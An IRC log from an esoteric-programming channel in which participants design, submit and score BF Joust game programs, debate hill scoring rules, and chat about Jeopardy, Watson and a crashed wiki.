23:48:35 <elliott> Gregor: Yah, but what? I don't want to make it a hard forever rule :P
23:48:36 <Deewiant> Unexpanded 64K fits everything we have currently
23:48:41 <elliott> I think a 700K program would be fine, for instance.
23:48:44 <elliott> I don't mind generation.
23:49:00 <elliott> "Anything that can feasibly be downloaded from the Internet in 30 seconds from EgoBot", say :P
23:49:12 <quintopia> we should make a new instruction set that makes these kind of constructs more compact and set the limit on that one
23:49:12 <Gregor> Hard, /static/ limit X-P
23:49:18 <Gregor> Noooo
23:49:23 <Gregor> No exponential programs.
23:49:28 <Gregor> Unrolling is a lame strategy.
23:51:11 <elliott> Gregor: We already have exponential programs with lance (which differentiates between * and %).
23:51:47 <Gregor> I'm using a rather silly definition of "exponential programs" :P
23:51:56 <Gregor> Basically I don't want you to be able to go too far just by always knowing exactly where you are.
23:52:13 <quintopia> why not?
23:52:15 <quintopia> :/
23:52:31 <elliott> Gregor: It would be nice to have something that lets us transform [a[b[c[d]]]]x into [a[b[c[d]x]x]x]x :P
23:52:36 <elliott> (To "break out of a loop".)
23:52:42 <elliott> Sure, it's "cheating", but... a hard limit irks me.
23:52:48 <elliott> space_elevator is awesome. But not unbeatable.
23:52:49 <quintopia> elliott: my subroutine idea frex
23:53:00 <elliott> quintopia: I prefer things that are essentially string rewriting, but optimised :P
23:53:05 <elliott> Gregor: I don't think a hard limit will prevent any god strategies.
23:53:10 <elliott> I don't think there _are_ any unbeatable programs.
23:53:31 <Gregor> No, of course not, but things start getting totally impossible to understand once the program is just a loop-unrolled mess of nonsense.
23:53:37 <quintopia> elliott: that's what it was. a construct that implements subroutines by string rewriting
23:53:54 <elliott> Gregor: The rules aren't based on your pitiful mind's tiny capacity :P
23:54:03 <Gregor> elliott: I'm preventing MYSELF here.
23:54:06 <Gregor> elliott: I'M writing programs that do this.
23:54:12 <elliott> Gregor: I approve!
23:54:15 <Gregor> elliott: I'M trying to make sure that this retard strategy doesn't work.
23:54:18 <elliott> I do think open-sourcing the generators for such program is a good thing, though.
23:54:23 <elliott> Gregor: It won't work, we'll beat it :P
23:54:48 <Gregor> They're still size-infeasible, so if they're a legit strategy then we should either have a macro system or disallow it *shrugs*
23:55:21 <elliott> Gregor: Does EgoBot refuse to download files over a certain size?
23:55:22 <quintopia> yes
23:55:25 <quintopia> macro system
23:55:34 <Gregor> elliott: I don't recall :P
23:56:08 <elliott> Gregor: If it does, let's just rely on that... I don't like adding such things at the battle layer :P
23:56:17 <elliott> Especially since, y'know, trying programs like that locally sounds like fun.
23:56:25 <Gregor> Whoahwhoahwhoah
23:56:29 <Gregor> I was talking about for the HILL, not the language.
23:56:34 <elliott> Gregor: Yah, I know.
23:56:47 <elliott> Gregor: I'm fine with a limit in !bfjoust, but I have a feeling that EgoBot already handles a sane enough limit.
23:56:54 <elliott> I don't want a limit that is treated as unexpandable :P
2011-02-16
00:01:36 <elliott> Gregor: OKAY, I'm working on lance again, and making it use your far-saner store-info-in-instructions method. :P
00:06:06 -!- GreaseMonkey has joined.
00:10:43 <elliott> Err, how can you die again? Out of bounds pointer, flag zeroing... anything else?
00:10:46 -!- augur has quit (Read error: Connection reset by peer).
00:10:46 -!- augur_ has joined.
00:10:53 <elliott> Nope, thats it.
00:10:54 <elliott> *that's
00:20:54 <Sgeo> http://codu.org/eso/bfjoust/egojsout/?l=a21e97b13671f40d14ad1fbfd92d9c8ae1d265d6&r=da39a3ee5e6b4b0d3255bfef95601890afd80709&t=30
00:20:58 <Sgeo> What's that dot on the right
00:21:07 <Sgeo> After the second and beyond time I play it
00:21:42 <elliott> switch (p->progs[w][p->ips[w]]->op) {
00:21:44 <elliott> DO I HAVE ENOUGH INDIRECTION YET
00:22:01 <Sgeo> My dumb turtle won against stuff?
00:22:46 <Sgeo> Oh, tripwire avoider, dies against non-decoy
00:23:22 <Sgeo> ais523 won at lengths 29 and 30 though
00:24:23 <Sgeo> http://codu.org/eso/bfjoust/egojsout/?l=044f70240a470b57c4dcbf5765f6ef0e1aebaf78&r=efe98166a86b1fa2c293110c5321b33e8bfc20ea&t=30 I don't get it
00:25:14 <Sgeo> Oh, n/m, I get it
00:25:21 <Sgeo> Kind of
00:25:59 <Gregor> Heh, I built me an ais-alike defense program :P
00:26:10 <Deewiant> 400MB?
00:26:16 -!- cheater- has joined.
00:26:18 <Gregor> Har-dee-har :P
00:27:24 <cheater-> ahahah
00:27:31 <cheater-> i just got a captcha with antique greek in it.
00:28:25 <elliott> Gregor: 11.02.12:22:49:35 <Gregor> Damn it, I don't want to be a person who writes BFJ programs as long as defend13 X-P
00:28:36 <Gregor> I didn't write it, I GENERATED it.
00:28:47 <Gregor> (That's even worse!)
00:28:51 <elliott> Gregor: ais523 GENERATED defend9 :D
00:28:54 <elliott> and defend9.75
00:28:58 <elliott> which is near the top of the hill
00:28:58 <elliott> ho ho ho
00:29:03 -!- cheater00 has quit (Ping timeout: 240 seconds).
00:29:07 <elliott> Gregor: so have you implemented quintopia's almost-fixed-point scoring mechanism
00:29:16 <Gregor> Hmmmmmmmm?
00:29:19 <elliott> (fixed-point except in case of cycles, which I've fixed)
00:29:21 <elliott> Or he's fixed
00:29:23 <elliott> One of them anyway :P
00:29:26 <elliott> Gregor: Basically:
00:29:41 <elliott> Gregor: score(p) := sum score(q) for all q that p beats, taking initially score(p) = points(p).
00:29:47 <elliott> Gregor: It is, apparently, literally exactly that.
00:30:03 <elliott> It reaches a fixed-point, astonishingly, unless you have a cycle, and both me and quintopia had an idea for handling cycles.
00:30:21 <Gregor> OK, so my system exactly, but you just iterate :P
00:30:27 <elliott> Gregor: Err, no.
00:30:34 <elliott> Gregor: You have all this concept of "worth" of programs and whatnot.
00:30:37 <elliott> There's not a single division in this.
00:30:43 <elliott> You literally sum the score of all the programs it beats to get its score.
00:30:44 <zzo38> Tonight, I watch Double Jeopardy.
00:30:55 <Gregor> elliott: All that does is normalize values, it's all the same.
00:31:01 <elliott> Gregor: And it gave reasonable results like defend9.75 being at the top relative to the other top programs on the hill right now, which is correct: defend9.75 *beats* everything above it.
00:31:05 <Gregor> The only distinction is I don't penalize.
00:31:07 <zzo38> But not yet.
00:31:11 <elliott> Gregor: ...Nor does this?
00:31:21 <Gregor> Oh, misread :P
00:31:22 <elliott> Gregor: score(p) := sum score(q) for q in that p beats
00:31:35 <elliott> And you start with score(p) = points(p), and make special arrangements for cycles.
00:31:36 <Gregor> So yeah, it's exactly my system plus iteration, but cycles are what's interesting.
00:31:43 <elliott> Gregor: Well, we both had an idea for that.
00:31:52 <Gregor> I'm waiting :P
00:31:52 <elliott> Mine was: If you ever get recursively asked for a program you've already considered, return 0.
00:32:06 <elliott> His was: If the same scoreboard ever appears twice, average all the scoreboards between them and halt.
00:32:38 <elliott> I'm sceptical of his -- I think that even a quick cycle between the top four programs will cause knock-on effects to the score of the programs below that might last a very long time before cycling, but he disagrees.
00:32:44 <elliott> I was hoping he was coding it up :P
00:32:45 <elliott> quintopia?
00:33:06 <elliott> Gregor: Obviously this isn't exaaaactly a fixed-point because of that special case, but it gives you all the beneficial properties.
00:33:11 <zzo38> cheater-: I once got a CAPTCHA with Greek text in it. I went to the character map and selected all the Greek letters as much as I could tell, and it accepted that.
00:33:19 <elliott> And is wonderfully simple and therefore immune to disagreement :P
00:33:19 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/eYEL
00:33:35 <elliott> Gregor: Worst polyglot eve.r
00:33:35 <elliott> *ever.
00:33:44 <elliott> (Jesus christ at that program.)
00:33:56 <Gregor> elliott: Doing the proper polyglot A) is broken on egojoust and B) is a pain since we have no real comments.
00:33:58 <elliott> Gregor: For bonus points you should have written the base 64 decoder in another language :P
00:34:13 <Gregor> Any other language would have needed parens somewhere ;)
00:34:24 <Gregor> BTW, FFLDG is going to take FOR EV ER
00:34:24 <cheater-> zzo38: i just created an ad-hoc transliteration. it was obvious that the greek part is the "unknown" part of the captcha.
00:35:22 <Gregor> It's also useless against turtles and other defenders.
00:35:24 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 34.7
00:35:28 <Gregor> ... :(
00:35:32 <Deewiant> !bfjoust pendolino ->+++(>)*6->+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*9(>[-([+{[(+)*8[-].[.+]]}])%3])*19
00:35:40 <zzo38> cheater-: Yes, I realized that it is unknown part, too. But I did not use transliteration, I tried to enter the actual Greek letters (although it is possible I might have made a mistake since I am not Greek)
00:35:45 <EgoBot> Score for Deewiant_pendolino: 56.0
00:35:46 <cheater-> gregor: what's furry_furry_leather_discipline_girls?
00:36:03 <Gregor> cheater-: Pretty much a straight-up ripoff of ais-style defenders :P
00:36:04 <cheater-> zzo38: the greek alphabet is super-easy.
00:36:16 <cheater-> GreaseMonkey: ais-style defenders? what's that?
00:36:29 <cheater-> zzo38: greek is just like cyrillic. that makes it trivial.
00:36:45 <zzo38> cheater-: Well, yes, but there might have been some accent marks I got wrong due to distortion.
00:36:58 <cheater-> ok
00:37:00 <elliott> <Gregor> Any other language would have needed parens somewhere ;)
00:37:03 <elliott> NOT RUBY :awesome:
00:37:18 <Gregor> OK, not Perl's OO bastard child *shrugs*
00:38:21 <elliott> Gregor: *not Perl's sort-of-Lisp's Smalltalk's bastard child
00:38:57 <Sgeo> $d =~ tr/_:/\x2B\//; what's that?
00:38:59 <Sgeo> for?
00:39:02 <cheater-> how can you say ruby is related to lisp, smalltalk, or perl?
00:39:13 <cheater-> it's like saying macdonald's is related to steaks.
00:39:29 <Gregor> Hah, me and defend9 both just wait for each other to do something forever :P
00:40:06 <elliott> XD
00:44:25 <Deewiant> !bfjoust pendolino ->+++(>)*5->->+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*9(>[-([+{[(+)*8[-].[.+]]}])%3])*19
00:44:33 <EgoBot> Score for Deewiant_pendolino: 57.7
00:46:47 -!- elliott_ has joined.
00:50:38 -!- elliott has quit (Ping timeout: 264 seconds).
00:51:05 -!- Mathnerd314 has joined.
00:51:14 <quintopia> is fizzie around?
00:51:27 <elliott_> he always his
00:51:29 <elliott_> *is
00:51:38 <elliott_> he's omninooinreoktmoinertneroitnioenrtojiojoijojiojo always present
00:51:51 <quintopia> i need some data from him
00:52:10 <quintopia> to make sure my closed-form fixed-point scoring system works and does everything the current one does
00:52:48 <quintopia> oh shit i missed jeopardy while i was in the shower
00:52:56 <elliott_> OH NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
00:53:36 <quintopia> word is that watson destroyed them
00:57:05 <zzo38> quintopia: Maybe later tonight I can tell you the score?
00:58:13 <quintopia> zzo38: 'salright. my friends are telling me all about it
00:59:14 <elliott_> "So many idiots on every side. The downside of public access and pseudo-anonimity" --reddit commenter on Wikipedia's inclusionism/deletionism debacle, apparently not realising that it's the people who aren't anonymous that handle all the egotism...
00:59:22 <zzo38> In the Single Jeopardy round, there was some strange order in which the clues are selected, which is not how they are usually done in Jeopardy (but it is still allowed)
01:01:16 <elliott_> AGAIN Debian won't boot.
01:01:22 -!- augur_ has quit (Remote host closed the connection).
01:01:31 <elliott_> It's almost as if I'm running... the unstable version.
01:03:50 <Sgeo> Why does Jeopardy have I'm a little teapot as its theme?
01:04:27 <zzo38> Sgeo: It doesn't, it is just a similar theme music.
01:04:47 <elliott_> Deewiant: grats on your victory btw
01:05:26 <Sgeo> zzo38, lies! I want to believe that that's a lie1
01:05:30 <Sgeo> i WANT TO BELIEVE!
01:05:57 <zzo38> Sgeo: OK believe what you want to believe
01:06:14 <quintopia> zzo38: i think watson always picks the least valuable question on the board
01:06:45 <quintopia> Sgeo: that's an insult to merv griffin! he wrote the theme himself!
01:06:47 <zzo38> The $800 were all picked last
01:07:00 <elliott_> you americans are weird.
01:07:03 <elliott_> also canadians
01:07:05 <elliott_> but mainly americans
01:07:15 <quintopia> also you chavs
01:07:46 <elliott_> yes. we are all chavs here in america. sorry britain.
01:08:14 <quintopia> i wasn't referring to any countries
01:08:22 <quintopia> i was referring to your club
01:08:29 <quintopia> "elliott and the chavs"
01:11:02 <quintopia> Deewiant: that is the most ridiculously complicated rusher to date :P
01:11:14 <Sgeo> How soon until we can all have Watson in our phones?
01:11:14 <quintopia> yes, it's even more complicated than space_elevator
01:11:20 <quintopia> Sgeo: INORITE
01:12:38 <elliott_> What, pendolino?
01:12:46 <elliott_> I like how a rush is on the top, it's so noob :P
01:12:58 <elliott_> (Not pendolino itself, but the idea of a rusher being on top.)
01:15:09 <quintopia> i had actually considered writing a rusher that did that
01:15:21 <quintopia> didn't realize it'd work so well
01:16:51 <elliott_> quintopia: what does it do?
01:17:09 <quintopia> it rushes a bit, goes back and builds more decoys, then rushes some more
01:17:27 <quintopia> so basically, its a hybrid fast/slow rusher
01:17:40 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/SNPB
01:18:06 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 35.7
01:18:16 <Gregor> :(
01:18:29 -!- copumpkin has joined.
01:19:19 <quintopia> A database query syntax error has occurred. This may indicate a bug in the software. The last attempted database query was:
01:19:22 <quintopia> (SQL query hidden)
01:19:25 <quintopia> from within function "MediaWikiBagOStuff::_doquery". MySQL returned error "1194: Table 'mw_objectcache' is marked as crashed and should be repaired (localhost)".
01:20:37 <Gregor> Oh wow, that was totally broken ...
01:23:07 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/dXVQ
01:23:30 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 28.6
01:24:04 <Gregor> Worse??? :(
01:24:17 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/hchJ
01:24:28 <elliott_> quintopia: haps sometimes
01:24:30 <elliott_> although that error is worrying
01:24:46 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 42.6
01:25:13 <Gregor> Better, but not better enough.
01:26:32 -!- Behold has quit (Remote host closed the connection).
01:26:58 <Sgeo> zzo38, what is leg?
01:29:44 -!- iconmaster has joined.
01:30:54 <iconmaster> Hey, the Esolang wiki isn't working for me. Has it actually crashed?
01:31:18 <zzo38> Sgeo: Leg? What leg?
01:31:28 <zzo38> Are you talking about Jeopardy?
01:31:41 <Sgeo> Yes
01:33:41 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/OXDW
01:34:15 <elliott_> iconmaster: Seemingly.
01:34:16 <Gregor> iconmaster: Seems that way.
01:34:20 <elliott_> iconmaster: Give it a day or two.
01:34:27 <elliott_> If it doesn't work by then we'll contact Graue.
01:34:34 <elliott_> (We're really terrified of Graue.)
01:34:41 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 40.4
01:34:46 <Gregor> WORSE? :(
01:34:54 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/hchJ
01:34:56 <iconmaster> uh oh. OK, who ate Esolang?!
01:35:30 <zzo38> iconmaster: I think it probably not good to eat?
01:35:33 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 42.6
01:35:53 <iconmaster> zzo38: Ya, kinda chewy.
01:37:06 <iconmaster> I also like how the MediaWiki acsessor object is called 'MediaWikiBagOStuff'.
01:38:17 -!- pikhq_ has joined.
01:38:50 -!- pikhq has quit (Ping timeout: 260 seconds).
01:39:10 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/TebO
01:40:34 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 47.3
01:40:54 <Gregor> Gettin' farther
01:41:03 -!- iconmaster has quit (Quit: I hope wiki gets back up soon.).
01:46:25 <elliott_> Gregor: *further
01:46:29 <elliott_> Do you get the joke I made there
01:46:56 <Gregor> *deeper
01:47:50 <Gregor> Bleh, my strategy really can't win against maglev >_>
01:48:05 <elliott_> Gregor: FURry
01:48:07 <elliott_> fur-ther
01:48:08 <elliott_> get it now
01:48:22 <elliott_> Gregor: Just special-case maglev, it's what all the Qool Qids do.
01:54:20 <quintopia> someone ping me if fizzie arrives
01:56:19 <elliott_> quintopia: FIZZIE ARIVETH
01:57:00 <quintopia> fuck you. ping me if he SAYS SOMETHING HERE
02:05:25 <elliott_> That quintopia fellow wants me to ping him if fizzie says something in here.
02:09:15 <Gregor> lol, what do you do when you /know/ they're already on your flag, other than cry a lot X-D
02:10:31 <elliott_> Gregor: Go to your flag
02:10:33 <elliott_> Vibraterate
02:10:47 <Gregor> Naw, speedy3 never jumps off, best I can do is a tie...
02:10:50 <elliott_> Gregor: You may want to use a tripwire to figure out your opponent's cycle count and polarity.
02:11:07 <elliott_> Gregor: Then you can lock it in place.
02:11:23 <Gregor> I use a tripwire, the problem is I need some setup first due to my other strategy, and so it can beat my to the flag before I can even set the tripwire if it's fast.
02:11:25 <Gregor> e.g. speedy3.
02:11:26 <elliott_> Gregor: You could do what the Advanced(TM) programs do: go destroy your opponent's flag while returning to your own at regular intervals to boost it back up (knowing the opponent's polarity) and lock it for a bit.
02:11:31 <elliott_> Then you can WIN
02:11:38 <elliott_> Also, well, if that happens, shit sucks.
02:11:42 <Gregor> Ohhey, I can totally do that 8-D
02:11:46 <elliott_> Set up faster or just resign yourself to losing to those programs on shorter tape lengths.
02:11:55 <elliott_> Gregor: I think that's what definder2 does, so have fun :P
02:12:41 <elliott_> Gregor: But, er, without your tripwire, I dunno how you'll know your opponent's polarity.
02:12:51 <elliott_> So locking it in place and boosting it back up will be non-trivial.
02:12:59 <elliott_> Actually you shouldn't need to lock.
02:13:05 <elliott_> Just boost back up, go ahead, return quickly, etc.
02:14:13 <elliott_> Gregor: I eagerly await furry_furry_married_sex_between_two_christians_in_the_missionary_position_girls.
02:14:16 <elliott_> THE MOST ADVANCED OF ALL THE FF*G PROGRAMS
02:14:39 -!- Slereah_ has quit (Ping timeout: 272 seconds).
02:16:18 <Gregor> LOVE when I can make Chrome crash the living fuck out of my system.
02:17:46 <elliott_> Gregor: But, but, it's PER-PAGE PROCESS SECURITY.
02:17:51 <elliott_> (For a definition of PAGE equal to MORE THAN A PAGE.)
02:18:48 -!- Slereah has joined.
02:21:31 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/MjAB
02:21:34 <Gregor> PROBABLY worse.
02:21:54 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 35.1
02:22:01 <Gregor> Hahah
02:22:03 <Gregor> Much worse
02:22:08 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/TebO
02:22:30 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 47.3
02:28:46 <elliott_> Man, chevrolet_movie_theater will kick all your asses.
02:29:01 <elliott_> Also: Tomorrow: lance's completion. Guaranteed.
02:29:16 <Gregor> Mmm hmm.
02:30:22 -!- elliott_ has quit (Quit: Leaving).
02:33:10 -!- azaq23 has quit (Quit: Leaving.).
02:36:55 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/cgbB
02:37:23 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 49.5
02:37:32 <Gregor> Up to third :)
02:40:03 <quintopia> so what are the odds he'll actually finish tomorrow?
02:40:32 <pikhq_> What are the odds he continues his Funge-98 interpreter?
02:40:33 <Gregor> Zero.
02:40:38 <quintopia> hey gregor, since fizzie ain't about could you generate this table for me?
02:41:09 <quintopia> i have high hopes that chainlance will actually be completed tho. it seems p cool.
02:41:09 <Gregor> Huh?
02:41:51 <quintopia> i want the matrix from the scoreboard but with (i,j)=number of configurations in which i beats j
02:42:18 <quintopia> it would take ages for me to get all that data from egojsout
02:43:58 <zzo38> All sorts of strange effects can be created by changing the color spaces and then using another effect and changing back.
02:48:40 * Sgeo is again reminded of Mozilla's Ghostbusters worship
02:52:22 -!- pikhq_ has changed nick to pikhq.
02:52:26 <Sgeo> "Memory Use (No Extensions)Winner: Firefox 3.6!"
02:52:28 <Sgeo> lolwat
02:52:30 <pikhq> Sgeo: Say, did you happen to transfer yet?
02:52:36 <Sgeo> No
02:53:28 <pikhq> Bah.
02:53:34 <pikhq> Education is wasted on you.
02:53:44 <quintopia> a lot of thigns are
02:54:23 <Sgeo> pikhq, want to convince my dad that Farmingdale is horrible?
02:54:57 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/UTXJ
02:55:08 <pikhq> Sgeo: Why don't you? It is absolutely vital that you take an interest in your *own damned life*.
02:55:19 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 48.0
02:55:29 <Sgeo> pikhq, because I tried and failed?
02:55:51 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/TebO
02:56:11 <pikhq> You mean you didn't pull up a bunch of associates' programs in CS that were pretty much all superior to your course of study?
02:56:14 <pikhq> Man, you suck.
02:56:15 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 47.3
02:56:26 <pikhq> Maybe you should just stay at Farmingdale.
02:58:32 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/QGaX
02:58:45 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 49.6
03:01:46 <quintopia> nice job sir
03:02:14 <quintopia> not as good as deewiant, who now has the most points by like 3
03:02:29 <Sgeo> Javascript sounds like a fun language
03:02:45 <quintopia> you know what's fun
03:02:49 <quintopia> impromptu
03:02:56 <quintopia> someone buy me a macbook pro
03:03:31 <Sgeo> Of course, I have to google Impromptu language... oh it is a language
03:03:49 <Sgeo> Art...
03:08:46 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/aFNY
03:09:03 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 49.2
03:09:32 <Gregor> In spite of this being worse, I'm keeping it since my other one was broken :P
03:09:41 <Gregor> Ohwait ... THIS is broken too X_X
03:10:39 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/XIPI
03:11:11 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 50.2
03:11:23 <Gregor> Finally beat 50 again.
03:14:16 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/PQEW
03:14:29 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 45.8
03:14:38 <Gregor> Didn't think that'd help :P
03:14:44 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/XIPI
03:15:29 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 50.2
03:17:31 <quintopia> stop making such good warriors. that sort of behavior is bound to make me start playing again instead of studying
03:18:19 <Gregor> space_elevator is still ahead of it.
03:22:58 <quintopia> eh, space_elevator is obsolete. it's not the WAY OF THE FUTURE
03:26:31 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/ZSAP
03:26:51 <Sgeo> There should be a Javascript MARS interpreter
03:26:56 <Sgeo> Maybe I should make one
03:26:59 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 49.2
03:27:03 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/XIPI
03:27:22 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 50.2
03:36:16 <Sgeo> Is Objective-J evil, by some measure?
03:36:21 <Sgeo> I think I'd like to learn it
03:41:19 <Gregor> Probably.
03:45:54 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/EWJe
03:46:08 <Gregor> Might be worse, probably not much better.
03:46:19 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 45.5
03:46:25 <Gregor> Hyuk
03:46:27 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/XIPI
03:46:45 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 50.2
03:48:18 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/CDOd
03:48:21 <Gregor> Almost certainly worse.
03:48:47 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 44.6
03:48:50 <Gregor> Hyuk
03:48:52 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/XIPI
03:49:07 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 50.2
03:58:25 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/TiSJ
03:58:37 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 36.7
03:58:41 <Gregor> Wow, really
03:58:59 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/XIPI
03:59:23 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 50.2
04:10:45 <zzo38> Sgeo: Learn it if you want to learn it, then
04:10:57 -!- augur has joined.
04:12:17 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/BNJL
04:12:35 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 52.4
04:12:40 <Gregor> Helloooooooooo
04:13:09 <Gregor> DAMN YOU PENDOLINO
04:34:55 <Gregor> Might be an improvement ... or not:
04:35:07 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/gOBA
04:35:12 <Gregor> Goooo gOBA!
04:35:36 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 52.5
04:35:59 <Gregor> ... technically an improvement! X-P
04:37:56 <Gregor> MUST ... GET ... FIRST
04:38:03 <Gregor> LONG way to go though X_X
04:39:58 <Sgeo> Gregor, rig EgoJoust
04:40:04 <Gregor> Nevar :P
04:40:05 <Sgeo> ^^don't actually do that
04:47:54 <Gregor> lawl, my philip core is wrong.
04:48:31 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/GTKZ
04:48:34 <Gregor> Philip core fixed ...
04:48:51 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 55.6
04:48:58 <Gregor> SO
04:48:58 <Gregor> FREAKING
04:48:59 <Gregor> CLOSE
04:49:00 <Gregor> DAMN
04:49:04 <Gregor> PENDOLINO
04:49:12 <Gregor> Still, lawl, my philip core was busted :P
04:49:13 <Sgeo> Pendolino?
04:49:34 <Sgeo> And I still have no idea what a Philip is, except a kid when I was a kid who I thought needed more salt
04:53:33 <Gregor> Pendolino is the current #1.
04:53:45 <Gregor> And if I don't get #1 tonight, Deewiant will improve it beyond my grasp, losing me a chance.
04:54:14 -!- Mathnerd314 has quit (Remote host closed the connection).
04:54:22 <pikhq> Unless you shoot him.
04:56:39 <Gregor> 2 | + + + + - - + + + + - 0 + + + + + + + + - - + + + + + + + - + + + + - + + + + + + + + + + + | 57.2 | 22.1 | 2 | Deewiant_pendolino.bfjoust
04:56:39 <Gregor> 6 | - + + + + + + + + + - + - + + - - + + + + + + + + - - + + + - - - + + + + + + + + + + + + + | 55.6 | 20.5 | 6 | Gregor_furry_furry_leather_discipline_girls.bfjoust
04:56:40 <pikhq> Aaaah, "Echoes".
04:56:51 <pikhq> 23 minutes of awesome.
05:03:02 <Sgeo> I suppose it would be no good to attack Pendolino specifically without regard to general survivalness?
05:08:04 <Gregor> I beat the CRAP out of pendolino.
05:08:31 <Gregor> It only beats me in one configuration.
05:09:09 <Gregor> !bfjoust aspartame_philip <
05:09:16 <Gregor> !bfjoust mapping_turtle <
05:09:20 <EgoBot> Score for Gregor_aspartame_philip: 0.0
05:09:53 <EgoBot> Score for Gregor_mapping_turtle: 0.0
05:10:27 <pikhq> !bfjoust give_it_a_go +[>+]
05:10:43 <EgoBot> Score for pikhq_give_it_a_go: 0.2
05:10:47 <pikhq> \o/
05:11:03 <Gregor> I'm impressed.
05:11:50 <pikhq> At the suck, I presume.
05:13:13 <Sgeo> There exists a Kool-Aid Man video game.
05:13:53 <pikhq> Oh yeah!
05:15:00 <Sgeo> It occurs to me that there are probably lots of crappy ad games like that even today, except they're just flash games now
05:15:05 <Sgeo> And not notable at all
05:15:15 <Sgeo> Does the Dilberito game count as crappy?
05:17:39 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/GFYT
05:17:41 <Gregor> Probably worse.
05:17:48 <Gregor> Sgeo: Not a clue to what you refer.
05:18:12 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 28.5
05:18:18 <Gregor> lol
05:18:19 <pikhq> Impressive.
05:18:31 <pikhq> Is pikhq_give_it_a_go beating it now? :P
05:18:34 <Sgeo> http://www.freegamearchive.com/game.php?id=6507
05:18:38 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/GTKZ
05:18:44 <Gregor> As I recall, I just said "probably worse" >_<
05:19:01 <Sgeo> http://joking.narod.ru/64.htm
05:19:20 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 55.0
05:20:45 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/UbXj
05:20:48 <Gregor> Almost assuredly worse.
05:21:02 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 55.7
05:21:18 <Gregor> Mmmm, or a little bit better.
05:21:19 <Gregor> Interesting.
05:22:48 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/QYjD
05:22:53 <Gregor> I think this is actually better this time.
05:22:59 <Gregor> Mmmm, maybe not though.
05:23:13 -!- pikhq_ has joined.
05:23:22 <Gregor> Ohyeah, much worse.
05:23:30 -!- pikhq has quit (Ping timeout: 264 seconds).
05:23:33 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 54.6
05:23:40 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/UbXj
05:24:04 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 55.7
05:24:36 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/KbQG
05:24:43 <Gregor> If this is better, my whole strategy didn't work like I thought :P
05:25:06 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 46.7
